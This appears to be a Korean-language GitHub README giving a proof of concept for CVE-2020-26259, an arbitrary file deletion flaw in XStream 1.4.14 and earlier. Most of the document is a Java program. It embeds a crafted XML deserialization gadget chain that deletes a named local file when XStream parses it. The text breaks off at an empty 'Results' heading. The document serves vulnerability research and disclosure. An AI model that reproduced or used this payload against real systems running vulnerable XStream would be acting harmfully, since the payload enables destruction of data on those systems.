al1ex/cve-2020-26259CVE-2020-26259 &&XStream 임의 파일 삭제
XStream은 실행 중인 프로세스가 충분한 권한을 가지고 있을 때 역직렬화 과정에서 로컬 호스트의 임의 파일 삭제 취약점에 영향을 받습니다.
Xstream <= 1.4.14
1단계：나중에 삭제될 테스트 파일을 준비합니다.
2단계: POC
import com.thoughtworks.xstream.XStream;
public class CVE_2020_26259 {
public static void main(String[] args) {
String xml_poc = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>C:\\Al1ex.txt</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(xml_poc);
}
}
결과:
